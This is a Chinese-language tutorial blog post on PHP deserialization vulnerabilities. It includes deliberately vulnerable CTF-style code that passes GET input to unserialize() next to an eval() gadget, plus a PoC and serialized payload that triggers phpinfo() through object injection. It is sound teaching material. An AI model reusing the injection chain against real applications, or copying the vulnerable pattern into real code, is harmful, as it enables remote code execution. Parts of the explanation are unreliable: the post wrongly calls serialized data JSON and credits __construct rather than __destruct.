浅谈PHP反序列化漏洞

0x00 前言

一直以来对php反序列化都很耳熟 但是都没有去认真学习过 抱着遇不到的心态这是非常不可取的 正好这段时间在学习php语言 所以学习研究一下php反序列化漏洞

0x01 简析序列化和反序列化

php反序列化漏洞大部分都是围绕 serialize() 和 unserialize() 来展开的

serialize() 是php的一个序列化函数 作用是可以把php对象转化成json格式

unserialize() 同样的 就是把序列化后的json格式数据 反序列化成php对象

我们结合例子来看一下这两个函数:

上图这个 就是反序列化后的结果 ,我们一个个来进行分析

如果仔细观察的话会发现 我们前后两张图的结果是有细微的区别的 。

区别就是第一张图 室友 <0x00> 第二张图却没有了 ,<0x00>就相当于 %00 那么是什么东西造成了 会出现 %00 ,是定义类属性的不通所造成的。

public :公有类型

公有属性,类的内外都可以进行调用。

private :私有类型

该类型的属性或方法只能在该类中使用,在该类的实例、子类中、子类的实例中都不能调用私有类型的属性和方法。

protected : 受保护类型

在子类中可以通过self::var调用protected方法或属性,parent::method调用父类方法。

在实例中不能通过$obj->var 来调用  protected类型的方法或属性。

所以 private的格式是 %00类名%00属性名,例:”%00KpLi0rn%00age”

protected的格式是 %00*%00属性名,例:”%00*%00high”

ps:请记住,序列化他只序列化属性,不序列化方法!!!

从上面的例子我们也可以看出来 序列化后的json格式数据并没有对类的方法进行序列化

为什么要序列化数据?

php文件在执行之后会将对象进行销毁,但是如果我们后面又需要用到这个对象那岂不是很麻烦,于是通过php序列化来进行保存数据,在我们需要用到的时候再反序列化一下就好了。

0x02 漏洞成因

概念:php反序列化漏洞其实就是 php的unserialize()函数的参数可控从而导致我们可以对对象的属性进行更改从而达成攻击。

接下来介绍一个魔术函数,就是它!拓宽了php反序列化的攻击面,使得我们的攻击不光光局限于当前的类。

魔术函数:

__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

在反序列化中,如果我们仅仅控制了属性但是如果没有在完成反序列化后的代码中调用其他类对象的方法我们仍然是束手无策

0x03 实例

说了这么多其实还是实打实的来试试来的直接,我这里提供两个别的例子:

NO 1:

<?php

error_reporting(0);

include "./flag.php";

$KEY = "H4CK";

$str = $_GET['str'];

if(unserialize($str) === "$KEY")
{
	echo "$flag";
}
show_source(__FILE__);
?>

题目源码如下 我在同级的目录下放置了一个flag.php 里面存放着flag

我们只需要通过构造反序列化之后为H4CK的json格式就可以获取到flag了

因为 外部调用静态变量的时候是不需要进行实例化的 所以我们这里就是通过这个放来来使得if语句符合条件从而输出我们的flag文件

<?php 
	class Test
	{
		static $name = "H4CK";
	}

	echo serialize(Test::$name);
?>

这样第一题就完成了

NO2:这题相比上面一题要复杂一些

题目源码如下

<?php 
	class KpLi0rn 
	{
		private $test;

		public $KpLi0rn = "KpLi0rn_wants_a_girl_friend";

		public function __construct()
		{

			$this->test = new L();    
		}

		public function __destruct()
		{
			$this->test->action();
		}
	}

	class L
	{
		public function action()
		{
			echo "welcome to my home";
		}
	}

	class Evil
	{
		var $test2;

		public function action()
		{
			eval($this->test2);
		}
	}

	
	unserialize($_GET['test']);
	show_source(__FILE__);
?>

这里我们需要用到魔术方法来使得我们php反序列化漏洞利用成功

我们先来看一下利用成功的结果

O:7:”KpLi0rn”:1:{s:13:”%00KpLi0rn%00test”;O:4:”Evil”:1:{s:5:”test2″;s:10:”phpinfo();”;}}

思路是这样的 : 由于参数是可控的 但是直接传参是没有用的 我们要通过魔术函数__construct 来自动帮我们实现 我们将在__construct中的test参数指向Evil类这样我们KpLi0rn类中的test参数就相当于是 Evil的对象 然后我们再通过改写 Evil类中的 test 为phpinfo(); 这样反序列化之后借助 __construct 函数自动执行从而爆出了phpinfo

poc如下:

<?php
class KpLi0rn 
{

    private $test;

    function __construct() {

        $this->test = new Evil();

    }
}

class Evil {

    var $test2 = "phpinfo();";

}

$K0rz3n = new KpLi0rn;
$data = serialize($K0rz3n);
//file_put_contents("seria.txt", $data);
echo $data;
?>

参考链接

https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0X02-%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81-PHP-%E7%9A%84%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

https://www.freebuf.com/column/197496.html

https://www.freebuf.com/articles/web/167721.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注